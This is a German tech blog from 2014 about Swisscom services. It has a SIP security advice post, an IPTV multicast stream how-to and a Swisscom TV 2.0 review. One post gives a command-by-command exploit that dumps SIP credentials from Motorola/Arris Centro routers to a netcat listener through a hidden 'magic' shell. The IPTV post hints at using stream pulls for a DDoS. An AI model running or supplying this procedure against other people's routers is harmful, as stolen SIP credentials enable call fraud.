Fast die ganze Kommunikation läuft über Equipment von Swisscom. Daneben ist sie Nummer 1 im Festnetz sowie bei Mobile. Mit ihrem wirklich guten TV Angebot weiss sie nun zu den genannten Punkten auch noch auf die Sekunde was da konsumiert wird. Bluewin ist eine grosse wenn nicht die grösste News Seite der Schweiz. Mit kommenden Services hat man seine Daten auch gleich noch in der Swisscom Cloud. Mit Docsafe wissen sie auch noch wie hoch eure Rechnungen sind. BIG DATA!
Braucht es da noch einen Big Brother im eigenem Netz?
Wie sag ich so gern, heikel halt :D
Möge es den einen oder anderen trösten, das Goggle mit weniger Möglichkeiten bereits viel schon weiss...





Dienstag, 6. Mai 2014

Warnung! Sorgfältiger Umgang mit den SIP Credentials

Vorwort

Dieser Blog hat sicherlich schon einige kontroverse Beiträge verfasst. Unter anderem die im Bezug auf die Extrahierung und Verwendung der Zugangsdaten für die Swisscom IP Telefonie.
Die Storyschreiber des grössten Schweizer Providers haben es in den letzten Jahren schlicht verpasst auf die Bedürfnisse einiger Kunden einzugehen. Trotz Kernkompetenz Telefonie und einem nicht unerheblichen Budget, Manpower und Know-how, hat man bis heute zB. keine App  um die IP Telefonie auch auf anderen Geräten, sprich dem Smartphone, zu verwenden.
Mit der IP Telefonie für Privatkunden ist es zwar weiterhin möglich analoge Endgeräte an den Ports des Routers bzw. über eine Rückspeisung in die Installation zu verwenden. Bezüglich IP Endgerät hat man aber aktuell gerade mal sage und schreibe 1 Telefon im Angebot! Über dessen Qualität und (nicht vorhandenen) Features ich mich schon das eine oder andere Mal geäussert habe. Natürlich im Wohlwollen der Verantwortlichen :)
Mit der neuen Internet Box bringt die Swisscom noch mehr Telefonfunktionalität in ihr CPE. Eine DECT Station, Telefonbuch und die interne Kommunikation wird ermöglicht. Nota bene ist die Internet Box ein absolut geschlossenes System. Funktionalitäten wie das Telefonbuch werden nur mit Swisscom geprüften Endgeräten möglich sein. Unter Umständen gibt es noch eine App welche die Telefonie über die Internet Box auch vom Smartphone aus ermöglichen wird. Tönt doch irgendwie alles fancy.
Aber hey! Vorgeschriebene Endgeräte hatten wird schon mal zu Zeiten der PTT. Die Entwicklung der CPE und gewisser Dienste zeigen in den letzten Jahren doch einige besorgniserregende Tendenzen.
Geschlossene Systeme mit wenigen oder lächerlichen Funktionen, gegipfelt in der Swisscom Internet Box!
Schade, denn die Swisscom verfügt über eine Centrex Anlage welche mehr bietet. Vor allem mehr Freiheit.

Daher wird es immer Leute geben welchen die angebotenen Gerätschaften nicht genügen, daher wird es immer solche Blogs wie diesen geben. Je geschlossener die Systeme werden, desto grösser der Reiz und die Motivation diese Ketten zu sprengen.

Wer solche Systeme entwickelt und Scheisse für Gold verkaufen will muss sich nicht wundern...

Also SCHNAUZE TIEF! >(

Ursache

Trotz Warnung auf der entsprechenden Seite mit den SIP Zugangsdaten einen sorgfältigen Umgang zu pflegen, soll es Personen geben welche dies nicht ganz so beherzigen.
Durch gestohlene Zugangsdaten wird dem Dieb natürlich das telefonieren über die Rufnummer ermöglicht. Dabei kann es so richtig in Geld gehen. Hier bin ich der gleichen Meinung wie Swisscom, dass es natürlich nicht sein kann, dass die Swisscom hier auf Kulanz und Entschädigung eingehen muss. Denn ihr habt es ja gewusst, dass so etwas passieren kann!
Daher gebe ich im folgenden einige Ratschläge wie man die Sicherheit erhöhen und den Schaden begrenzen kann.

Massnahmen

Sperrset

Auch wenn ihr die folgenden Ratschläge nicht befolgen könnt, so geht doch wenigsten ins Kundencenter und aktiviert das Sperrset: "Internationale Verbindungen, 090er Nummer & Carrier Selection sperren"
Braucht ihr 0900 Nummern, braucht ihr die CPS? Ziemlich sicher nicht. Also sperrt das doch gleich. Möglich das ihr internationale Verbindungen zwischen durch mal braucht. Gesperrt und entsperrt ist schnell mal.
Sollten die Zugangsdaten gestohlen sein, so wird das Konto durch dieses Sperrset schnell mal uninteressant!



Updates

Haltet euer System, App oder Endgerät aktuell. Gerade die Sicherheitslücke bei der Fritzbox hat zu vielen Frauds geführt. Ihr wisst das die Daten sensibel sind. Lücken kann es immer mal geben, dagegen ist man kaum gefeit. Jemandem welcher die Credentials ausliest, setze ich allerdings schon ein wenig technischen Interesse voraus, wobei man also davon ausgehen kann, dass die Fritzbox Lücke eigentlich bekannt sein sollte.
Leider zeigen Scans das es viele Knalltüten gibt welche immer noch mit alter Firmware unterwegs sind. Tja.
Fritzbox User halt :))

VPN

Falls ihr die Daten nomadisch verwenden möchtet, empfehle ich ein VPN ins heimische Netz. Damit bleibt der Telefon Traffic zumindest im Swisscom Netz.

Endgerät/Software

Gebt eure Daten nicht in jede Drecksapp ein. Eigene Analysen haben ergeben das die Bria App für Android eine Digest access authentication vornimmt. Der Swisscom Server sendet einen WWW-Authenticate. Somit wird das eigentliche Passwort mittels md5 gehasht und nicht im Klartext übermittelt. Das Passwort ist also kryptografisch geschützt. Abgesehen von sonstigen Exploits ist man also sicher. So sicher wie beim Einsatz des offiziellen IP Phone Rousseau.
Ob der SIP Server sogar diese Art der Authentifizierung voraussetzt ist mir nicht bekannt. So sehr interessierts mich nun doch auch wieder nicht.


Ich hoffe ihr beherzigt diese Tipps oder aktiviert wenigstens das Sperrset.
Somit werden wir auch in Zukunft unsere Freude abseits der Spezifikationen haben ohne das wir CPE's verwenden müssen mit denen die Swisscom im lokalem Netz rumschnüffeln kann.

Samstag, 3. Mai 2014

Swisscom SIP - Zugangsdaten auslesen Centro Router Motorola/Arris

SIP-Zugangsdaten auslesen Centro Router Motorola/Arris

Um an die SIP Zugangsdaten seinen Swisscom Telefonanschlusses zu kommen brauchte man bisweilen einen Centro Router von Pirelli/ADB.
Durch die Information und freundlicher Genehmigung von revault.ch ist es mir nun möglich euch noch einen anderen Weg mit dem Centro Router von Motorola/Arris zu zeigen. Dieser ist sogar noch etwas einfacher anzuwenden da man hierzu kein Downgrade der Firmware machen muss Dabei spielt es keine Rolle ob es sich um einen grande oder piccolo dieses Herstellers handelt.
Geprüft wurde der Exploit mit der Firmware Version 9.0.10h2d12

Voraussetzung

Die SIP Daten müssen auf den Router geschrieben sein. Die Telefon LED muss also weiss leuchten.
Als Trick verwendet man einen Netcat listener im selben Netzwerk. Die Befehle in diesem Beitrag beziehen sich auf die Linux Version. Die Verwendung der Zugangsdaten wird bereits in diesem Beitrag beschrieben und nicht nochmals erwähnt:



How to

Zuerst startet man einen Netcat listener auf einer Maschine im selben Netzwerk des Routers. Dies kann die gleiche Maschine sein von der aus wir nachher noch eine Telnet Verbindung zum Router aufbauen. Natürlich muss der Port des listeners, in diesem Beispiel 1669, erreichbar sein!

nc -l 1669 |grep siputilsauth.c


Als nächstest startet man mit einem anderen Prozess oder auf einer anderen Maschine eine Telnet Verbindung auf den Router und loggt sich als admin ein.

telnet 192.168.1.1

Mittels dem Befehl magic öffnet man auf dem Router eine erweiterte shell und aktiviert das Logging auf den zuvor eröffneten Netcat listener. Hierzu ist die IP und der Port dem eigenen Netz anzupassen!

magic
voip trace sipstack on
voip extrnlog on 192.168.1.102:1669 8


Um den listener mit Daten zu füllen, muss man einen SIP Parameter ändern. Bei der grande Version kann man gleich beide Linien ändern, bei der piccolo nur eine da ja auch nur eine physikalische Schnittstelle vorhanden ist.

configure
set voip phone 1 sip-expires-time 5
set voip phone 2 sip-expires-time 5
validate
save
exit

Nachdem man einige Sekunden gewartet hat setzt man den Wert wieder auf den dafür vorgesehenen.

configure
set voip phone 1 sip-expires-time 3600
set voip phone 2 sip-expires-time 3600
validate
save
exit



Der Netcat listener sollte sich wie auf dem Bild zu sehen mit den benötigten Daten gefüllt haben. Falls nicht, einfach die Befehle nochmals ausführen.
Hat man im Falle von Multiline mehrere Rufnummern kann man diese den Ports des Routers zuweisen lassen und ebenfalls auslesen.
Ist man fertig schaltet man das Logging auf dem Router noch aus.

voip trace sipstack off
voip extrnlog off

Vielen Dank für die Unterstützung und viel Spass damit!



Montag, 7. April 2014

IPTV auf dem PC schauen

IPTV losgelöst von der STB


verschlüsselter IPTV Stream
In diesem Beitrag erkäre ich, wie man unverschlüsselte IPTV Streams seines Anbieters auch auf dem PC schauen kann. Die STBen der IPTV Anbieter sind durchs Band geschlossene Systeme. Es ist nicht möglich aufgenommene Sendungen auf die Festplatte eines Computers oder NAS zu speichern. Trotz USB und E-SATA Anschlüssen ist keinerlei Erweiterung des Speichers möglich. Ist die Festplatte voll und es muss
gelöscht werden oder das Gerät erleidet einen Defekt, sind die Aufnahmen weg. Mit Cloud Lösungen können die Anbieter dem Speicher und Hardware Problem aus dem Weg gehen. Der klassische Kopierer hat mit IPTV in dem Sinne aber eigentlich ausgedient.
Kopieren soll aber nicht nur der einzige Grund sein warum man sich unverschlüsselte IPTV Streams wünscht. Evtl. möchte man auch ganz einfach auf dem Computer eine Sendung schauen ohne das man dort extra eine STB hinstellen muss.
Damit so was überhaupt möglich ist, muss die Grundverschlüsselung aufgehoben sein.
Möglich das dies bei deinem IPTV Anbieter der Fall ist? :)
So sind die Streams der öffentlich rechtlichen Sender in Deutschland schon seit einiger Zeit unveschlüsselt.
http://www.zdf.de/IPTV-Empfang-auf-dem-PC-26312938.html

Quelle ausfindig machen

Fakt ist, man muss kein Hudini sein um die IPTV Quellen ausfindig zu machen. Wer zB. Swisscom- oder Sunrise TV empfängt, kann die Quellen ganz einfach mittels Wireshark ausfindig machen. Da man hier mit öffentlich erreichbaren Adressen arbeitet hat das alles nichts mit illegalem Hacken zu tun. Das Eingeben von IP Adressen ist rechtlich absolut unbedenklich.
In diesem kleinen how-to zeige ich wie man diese Adressen selber ausfindig macht :)

  • Zu Beginn überlegt man sich mal was man für einen Switch zur Verfügung hat. Je simpler dieser ist desto einfacher wird diese kleine Übung. Kann dieser kein igmp snooping, so steckt man einfach die STB, einen Capture PC und den Router auf diesen Switch.
  • Hat man hingegen einen igmp snooping tauglichen Switch deaktiviert man entweder wie ein Bauer diese Funktion vorübergehend oder macht eine Port Spiegelung der entsprechenden Ports. (Port STB auf Port Capture PC) Infos zu igmp snooping findet man in diesem Artikel:
http://www.tuxone.ch/2013/07/swisscom-multicast-im-lan.html


  • Alles was man nun noch braucht ist eine aktuelle Version eines Netzwerk Sniffers zB. Wireshark. Zu finden hier:
http://www.wireshark.org/download.html
  • Man wählt im Programm das Netzwerk Interface aus mit welchem der PC verbunden ist und drückt auf Start.



  • Jetzt ist es Zeit um mal die STB zu starten und ein wenig durch das live Programm zu zappen. Hat man alles richtig gemacht erscheint auch schon tonnenweise UDP Traffic. In Wireshark sieht dies wie auf dem folgendem Bild aus.



  • Nun kann man sich mal so ein Paket genauer anschauen. Mit einem Doppelklick auf solch ein Paket öffnet sich ein Fenster. In diesem Fenster interessieren uns die Multicast Destination und den Source Port. Markiert auf dem folgenden Bild. In diesem Falle wäre dies 239.186.68.1:10000





  • Wireshark kann man vorerst mal schliessen. Jetzt benötigt man einen Player welcher solche Multicast Adressen öffnen kann. Der bekannteste Player dazu ist der VLC. http://www.videolan.org/vlc/ Klar kann man später zB. mittels DVB-Link eine Integration in das NAS oder sonstwo machen...
  • Alles was man nun noch braucht ist ein bisschen Erfahrung oder pröbeln: Damit der Stream empfangen werden kann muss der "Link" korrekt eingegeben werden, abgesehen das eine allfällige Firewall hier nicht blockiert. Neben einem rdp Stream ist auch ein udp Stream möglich. Die Links unterscheiden sich hier je nach Quelle beziehungsweise Anbieter, natürlich betrifft dies auch die Port Adresse.
    Hier 2 Beispiele:
    Swisscom TV 2.0: rtp://@239.186.68.1:10000 (SRF1 HD unverschlüsselt)
    Sunrise TV: rtp://@233.35.254.1:1234 (SRF1 SD unverschlüsselt)
  • In einem nächsten Schritt lässt sich der ganze Multicast Bereich abscannen. Dafür eignet sich ein Tool Namens TransEdit. Auf dieses Tool und eine weitere Integration dieser Streams in Mediacenter Applikationen uä. sowie die Verknüpfung mit TV Guide Daten, geht dieser Artikel nicht ein.


Somit habt ihr das grundlegende Handwerk erlernt IPTV Streams ausfindig zu machen.
Ob dies allerdings noch lange so möglich bleibt wird sich zeigen. Das Problem am Swisscom Netzwerk, auf welchem sich auch Anbieter wie Sunrise, green und Wingo befinden ist, diese Streams lassen sich Providerübergreifend anziehen! Der einzige Schutz welcher die Provider aktuell haben ist es diese Streams zu verschlüsseln.
Grund dieses Beitrages ist die überraschende Tatsache der vielen unverschlüsselten IPTV Streams der Swisscom TV 2.0 Plattform. Aber selbst wenn die Streams verschlüsselt sind, erzeugt man mit dem Anziehen solcher Streams Netzwerklast, was im weiteren Sinne interessant sein könnte um ein DDoS auf das Swisscom Netz zu starten! Man kann also gespannt sein wie nun die Provider darauf reagieren werden :)
Viel Spass damit, spielt ein wenig rum so lange es noch geht.
Die Früchte dieser Saat könnt ihr unter dem folgenden Link bereits ernten ;)

Kollege Markus hat auf seinem Blog einen Artikel dazu geschrieben.
http://blog.markus-mail.com/swisscom-iptv-rtp-vlc-player/

http://www.regardtv.net/t6105-flux-swisscomtv2

Ich bitte euch in den Kommentaren keine weiteren Quellen kleiner Anbieter zu nennen.
Natürlich dürft ihr mir diese aber per Mail zukommen lassen.

Donnerstag, 3. April 2014

Swisscom TV 2.0 Simulation

Swisscom TV 2.0 Simulation

Benötigt Adobe Flash
Abweichungen zum Endprodukt vorhanden


Swisscom TV 2.0

The Next Big Thing

cause we love tv



Heute ist es so weit! Swisscom hat den nächsten Schritt von Swisscom TV vorgestellt, Swisscom TV 2.0
Von vielen erwartet, von manchen gefürchtet.
Ob Freude oder Furcht, so viel bin ich mir sicher, die Erwartungen werden erfüllt :D
Erst im letzten Kassensturz-Test hat Swisscom TV gegenüber den Mitbewerbern brilliert. Zu einem Zeitpunkt, bei dem TV 2.0 bereits seit einiger Zeit in Entwicklung und Live im Testing war, hat man mit der "alten Krücke" Mediaroom noch gewonnen. Für den freien Markt eigentlich schade, befürchte ich, dass TV 2.0 der Konkurrenz faktisch das Genick brechen wird.

Die Hardware

Sinnbild
Die Box kommt im neuen typischen Design von Nose, welches schon von der Internet-Box her bekannt ist.
Da mit TV 2.0 keine lokale Harddisk nötig ist, schrumpft die passiv gekühlte Box auf mickrige 130x130x30mm. Hergestellt wird die Box von Vestel, einem Hersteller welcher hierzulande bereits Bekanntheit mit der Android STB für Wingo erlangt hat. Die Box nennt sich IP1200.

Als Schnittstellen verfügt die kleine Box über einen LAN Anschluss,  einen USB und MicroUSB Port (noch nicht offiziell nutzbar), einer Audio Schnittstelle, einem HDMI Anschluss und einem integriertem Wireless Modul, welches die Box künftig direkt mit der Internet Box oder einem Verbindungskit verbinden lässt. In die Audio Buchse lässt sich sowohl ein Klinkenstecker wie auch ein Mini/Toslink Verbindungskabel einstecken. Was in Zukunft alles über die USB Schnittstelle möglich ist wird sich noch zeigen. Es wurde aber auch schon berichtet das man eine Tastatur einstecken konnte. Die Möglichkeiten sind hier noch offen. Vorstellbar sind weitere Dinge wie Gamepads usw.



Des weiteren wird die Fernbedienung State of the Art mittels Bluetooth gekoppelt. Während des Test wurde auch eine IR Schnittstelle entwickelt, womit man die konventionellen IR Universalfernbedienungen weiterhin verwenden kann. Somit kann man seine Harmony oder B&O Fernbedienung auch weiterhin nutzen.



HDMI-CEC ist natürlich auch ein Thema. Befehle von und zu dem TV Abspielgerät sind somit möglich.
Während dem Testing war es mal möglich, die Box zB. mit der Samsung Fernbedienung des TV Gerätes über CEC zu steuern. Später wurde diese Funktion wieder entfernt. Prinzipiell kann man aber davon ausgehen, dass hier entwickelt wird.

Manch Dinosaurier wird die SCART Schnittstelle vermissen, aber auch hier, während dem Testing wurden entsprechende Adapter geprüft, seitens Swisscom aber nur noch HDMI unterstützt. So muss zB. nur noch ein Bildformat unterstützt werden.

Die Box verfügt über einen active Standby von ca. 5W. Einen Deep Standby wie es die Mediaroom Boxen von Tatung noch kannten gibt es noch nicht. Es ist aber kein Problem die Box mittels Kippschalter ganz abzustellen, das System bootet innert Sekunden (35s). Klar ist, hier gibt es einen Punkt wo man für die Zukunft noch ein wenig nachbessern kann, bzw. sollte. So wie ich informiert bin ist dies aber bereits in der Planung.

Das System

Das Betriebssystem basiert auf Android. Durch die Trennung von Mediaroom kann Swisscom nun ihre persönlichen Ideen und Ansprüche überhaupt und wesentlich schneller implementieren. Nicht unerheblich werden die wegfallenden Lizenzkosten für Mediaroom sein.
Ist das System stabil und verfügbar, wird die Swisscom rein schon aus Kostengründen sicher einen schnelle Migration anstreben. TV 2.0 ist ein Produkt welches nur auf dem N(ew)-Stack verfügbar ist, auch bekannt als ALL IP. Damit ist klar, dass auf diese Plattform migriert werden muss möchte man zu TV 2.0 wechseln.

Das UI ist schlank und schnell. TV 2.0 läuft als eigentliche App auf dem OS, wird aber automatisch gestartet, womit man den Background ohne Absturz oder eine Tastenkombination nicht zu sehen bekommen sollte. Es gibt dort allerdings auch nicht viel zu sehen, bin aber zugegeben auch kein Coder :)
TV 2014 greift auch auf ein neues Backend zurück. Konnte so Mediaroom, Replay nur aus dem RAM der Server liefern, womit man stark eingeschränkt wurde, ist man mit dem neuen System davon befreit.
Vergleicht man das Bild zwischen TV 2.0 und TV Mediaroom sind dies gefühlte Welten. Mit 1920x1080, auf einem entsprechendem Bildschirm, selbst wenn das Material von 1280x720 durch die Box hochskaliert wird, ist der Unterschied sofort sichtbar. Das Bild ist nun wesentlich schärfer und brillanter. Wichtig dabei, dass HDMI Kabel oder eine besseres, welches zur Box geliefert wird, muss verwendet werden. Im Vergleich Mediaroom zu schauen verursacht nun fast schon Augenkrebs. Davon bin ich aber schon seit letztem Spätsommer befreit.

Was neu ist, muss/sollte aber auch für den Nutzer besser sein. Neben dem Bild kann man nun mit der "Cloud" auftrumpfen.
  • 7 Tage Replay
  • Replay auf über 250 Sendern auch in HD, logo. Allerdings ist auf den Pay TV Sendern auch weiterhin kein Replay möglich, irgendwie auch logisch.
  • Mehr Speicher für Aufnahmen, alles in der Cloud, yes. Max. 1000h, kein Problem.
  • Gleichzeitige Aufnahmen, praktisch so viel man will. Ja, klar. Die Aufnahme wird in der Cloud gemacht. Somit schränkt die Bandbreite des Internetanschlusses nur die maximal mögliche Anzahl an gleichzeitigen Streams, welche man auch tatsächlich gerade schaut, ein. Insofern also nur noch für Multiroom eine gewisse Relevanz! Allenfalls für höhere Qualitäten der Streams. Ultra HD soll ja auch mal ein Thema werden :) Weitere Details in diesem Fachartikel
  • Zudem ein Backend und eine Redaktion welche TV Sendungen empfiehlt, ja. Kuckst du hier. Bitte schön ;)
  • Apps aus einem Store, ja, auch wenn es nur der Opera App Store ist
  • Eine erweiterte Konvergenz von ca 80%

Neu bedeutet mit TV 2.0 aber auch anders. Vielen werden sich an die neue Optik mit der "grauen Tapete" und der Abkehr vom Bluewin Blau zuerst mal gewöhnen müssen. Mir gefiel der Look eigentlich von Anfang an ziemlich gut. Weiss aber, dass sich viele damit auch schwer tun. Mit einem Mäusekino soll die Darstellung nicht so optimal sein... TV 2014 ist der Schritt in eine neu Ära, somit wohl auch bewusst keine Kopie vom bisherigen Designs und damit auch überraschend frisch.

Im folgenden einige Einblicke über die verschiedenen Bestandteile von TV 2.0

TV Home

TV 2.0 verfügt über einen Startbildschirm auf dem Sendungen vorgeschlagen werden. Ein bunter Mix an Aufnahmen, VoD, Sendungen der Vergangenheit, dem Präsenz und der Zukunft, werden in einem Flow Chart dargestellt. Das Backend analysiert den Konsum und schlägt mal mehr oder meist weniger passende Sendungen vor (Analyse lässt sich deaktivieren) und markiert diese mit einem Herzchen :) Hier wird man in Zukunft das Ganze wohl noch besser personalisieren können. Daneben werden von der Bluewin Teleclub Redaktion aktuelle Highlights vorgeschlagen, erkennbar an einem Stern. 

TV Guide


Der TV Guide ist aufgeräumt und unspektakulär. Sind die Daten geladen läuft das Scrollen flüssig. Muss nachgeladen werden harzt es ein wenig. Der Guide liefert Daten für 12 Tage in die Zukunft und 7 Tage in die Vergangenheit. Mittels den bekannten Trick Modes lässt sich schnell navigieren. Verpasste Sendungen auf Replay Sendern lassen sich bis zu 7 Tage später noch zu den Aufnahmen hinzufügen und somit in das eigene Archiv verschieben.

Die Suche

Die Suche könnte aktuell noch die Achilles Ferse von TV 2.0 sein. Trösten kann man sich, dass die Suchfunktion zuletzt auch bei Mediaroom ins hapern gekommen ist. Auch TV 2.0 liefert momentan noch teils seltsame Resultate. Hier muss nachgebessert werden. So programmiere ich die Aufnahmen von Teleclub Spielfilmen lieber und wesentlich schneller mittels dem TV Guide.

Aufnahmen

Obwohl Replay nun massiv ausgebaut wurde wird so mancher sein Kontingent ausschöpfen. 1000h Speicherplatz! Ohne völlige soziale Degeneration nicht!!! schaubar. Du schaffst das? Sorry tut mir echt leid für dich :D
Man wird bemerken, dass sich durch die Möglichkeiten welche man hat, der Speicher und die Anzahl an Aufnahmen schnell steigern wird. Zum Glück lassen sich die Aufnahmen gut verwalten.
Die Ansicht lässt sich ebenfalls anpassen. Ob als Liste oder im Magazin Style, jeder wird seine passende Präferenz finden. Findet man unter den eigenen Aufnahmen trotzdem nichts passendes, wird auch hier auf ähnliche Sendungen verwiesen.

Live TV

Nebst all den Funktionen soll TV 2.0 auch weiterhin primär dem Fernsehgenuss dienen, zumindest könnte man dies meinen.
Mittels Druck auf Optionen bekommt man die passenden Informationen zu einer Sendung, nice.
Die Bildqualität wurde schon angesprochen. Selber sehen ist die Devise.






Apps

Bei den Apps ist die grösste Spielwiese vorhanden. Das TV Vergnügen ist mit seinen erweiterten Möglichkeiten schlussendlich irgendwie gegeben. Hat man dazu noch ein System welches die gewaltige Flut an verfügbarem Content welcher TV 2.0 liefern kann noch so einigermassen fassbar macht, gibt es diesbezüglich ja so eigentlich nicht mehr viel neues zu erwarten.
Hier greifen die Apps ein. Youtube, Facebook, Twitter, Sudoku und und und, einfach all den shizzle, welchen man sich vorstellen kann, ist theoretisch möglich. Selbst eine App welche die TV Box zu einem Mediastreamer des lokalen Netzwerkes macht war vorhanden. Grenzen werden hier eigentlich nur durch die Anwender der Swisscom gemacht. Ist eine App oder Funktion nicht supportbar oder in der Masse der unterschiedlichen Umgebungen kritisch, wird man sich hüten diese Funktion zu implementieren bzw. freizuschalten. Sogar Youtube wird auf TV 2.0 nochmals cooler. Die App auf dem TV lässt sich mit der offiziellen Youtube App auf einem Android Gerät verbinden. Die Navigation übernimmt somit das Smartphone, das Bild TV 2.0 .

Neue Vivo Bundles

Swisscom TV 2.0 ist nur mit den neuen Vivo Bundles erhältlich.
Angepasst an die Mobilen Infinity Angebote gibt es zum Marktlaunch ein Vivo M-XL.
Diese ersetzen die bisherigen Vivo 4 Stern und 5 Stern. Vivo 1 Stern bis 3 Stern bleiben noch bestehen, dabei bekommt man aber kein Swisscom TV 2.0. Weitere Angebote werden zu einem späteren Zeitpunkt erfolgen.
Bestandeskunden welche auf eines der neuen Angebote wechseln bezahlen eine Aktivierungsgebühr von CHF 99.- . Neukunden bezahlen eine Aktivierungsgebühr von CHF 43.- .
Übrigens: Aufnahmen welche man seit dem 1.Februar 2014 gemacht hat, sind bereits in der Cloud gespeichert. Wechselt man also auf ein neues Angebot so sind die Aufnahmen ab diesem Datum noch vorhanden. Ältere sind definitiv gone.
Alle Bundles gibt es wie bisher mit und ohne Festnetztelefone. Dabei gibt es keinen Kompromiss mehr. Die Bundles sind nur noch auf der IP Plattform erhältlich, das Festnetztelefon wird also definitiv auf die IP Plattform umgestellt!
Die Pakete unterscheiden sich vor allem bezüglich der erreichbaren Surfgeschwindigkeit, neu mit einem Download/Upload Verhältnis von 5:1, wobei es zwischen Fiber und Kupferanschlüssen keinen Unterschied mehr gibt. Klar das die hohen Geschwindigkeiten aber "vorerst" nur mittels Fiber Anschluss erreicht werden können. Man sollte also zuerst mal den Checker bemühen um zu sehen welche Geschwindigkeit man erreichen kann. Wer ein bisschen mehr wissen will, dem empfehle ich diesen Artikel:
http://www.tuxone.ch/2013/01/access-und-serviceprofil-bei-swisscom.html
Die maximale Geschwindigkeit welche mit einem Centro Router auf Kupfer erreicht werden kann liegt aktuell bei 80/10 Mbit/s! 65% der Vivo Kunden erreichen aktuell max 65 Mbit/s im Downstream.

Vivo XL:

CHF 169.- mit Festnetztelefonie
Unlimitiert in alle Fest- und Mobilnetze der Schweiz und Ländergruppe 1 telefonieren (Europa, USA und Kanada)
CHF 154.- ohne Festnetztelefonie

Download max. 300 Mbit/s Upload max 60 Mbit/s
Option 1Gbit/s für Glasfaser möglich. Preis zusätzliche CHF 80.- pro Monat.

Vivo L:

CHF 139.- mit Festnetztelefonie
Unlimitiert in alle Schweizer Fest- und Mobilnetze telefonieren.
CHF 124.- ohne Festnetztelefonie

Download max. 100 Mbit/s Upload max 20 Mbit/s

VivoM:

CHF 129.- mit Festnetztelefonie
Unlimitiert in alle Schweizer Fest- und Mobilnetze telefonieren.
CHF 114.- ohne Festnetztelefonie

Download max. 40 Mbit/s Upload max 8 Mbit/s

Zusätzliche TV Boxen sind für alle Pakete für jeweils CHF 5.: Mt/pro Box erhältlich. Aktuell sind nur 2 zusätzliche TV Boxen möglich. Möglich das aber bald mal insgesamt 5 TV Boxen pro Anschluss betrieben werden können.

Mit der Option Festnetz sind im Gegensatz zu den Vivo * Angeboten nun alle SMS über das Festnetz sowie im Webmail inklusive! Bisher kostetet dies CHF -.15 im Festnetz sowie CHF -.10 im Webmail (30 inklusive)



Vivo Tutto Vorteile

TV App 2.0

Selbstverständlich ist auch für TV 2.0 eine entsprechende App erhältlich welche sich an das neue Design hält und 7 Tage Replay ermöglicht. Die App selber bietet aber noch keine weiteren Möglichkeiten im Bezug auf die ältere Version.

Mein Fazit

Geil, ist das Wort welches TV 2.0 beschreibt. Seit Spätsommer 2013 habe ich das Vergnügen dieses neue Erlebnis mit all seinen Höhen und Tiefen mitzuerleben. Mittlerweile habe ich mich so an TV 2.0 gewöhnt, dass ich es nicht mehr missen möchte. Das Bild gegenüber Mediaroom ist um Welten besser. Die Freiheit den Inhalt fast aller Sender innert Wochenfrist bei Bedarf anzuschauen ist grossartig. Die Pay-TV Sendungen programmiert man einfach in das riesige Archiv.
Mit einem Lächeln nehme ich auch gerne zur Kenntnis, dass damit weitere Microsoft Systeme abgeschaltet werden und Android/Linux einen weitern boost erlebt.
Zu beachten ist, dass dieses neue System, obwohl ausführlich getestet, noch immer sehr jung ist. So ist doch noch die eine oder andere Kinderkrankheit vorhanden. Bei Dingen wie der Serienaufnahme, eine der Stärken von Mediaroom, klotzt die neue Android Plattform noch ein wenig und nimmt auf dem entsprechenden Kanal schlicht alle Sendungen einer Serie "auf".

Klar auch das ich TV 2.0 auch weiterhin hinter meiner Firewall betreibe. Entsprechender Aufwand hat 5 Minuten gedauert. Teils Swisscom Mitarbeiter haben auch schon Hilfe bekommen. Die entsprechenden Anpassungen werde ich an den richtigen Stellen ergänzen. (altnet 213.3.72.0/24)

Zum Schluss noch einige weitere Impressionen. Bilder sagen mehr als tausend Worte:
Manual: ftp://ftp.tuxone.ch/SCTV/20/Draft_DE_TV-einrichten.pdf











Goodbye and thanks for the fish


Der Autor dieses Artikels nahm am Friendly Test von Swisscom TV 2.0 mit der Wingo Box und später am Pilot Test der original Hardware, Teil. Der Test gebot absolute Geheimhaltung.
Der Artikel beinhaltet Informationen und Bildern von Swisscom und eigene Inhalte. Der Artikel wurde nicht von Swisscom geprüft noch genehmigt noch unterstütz.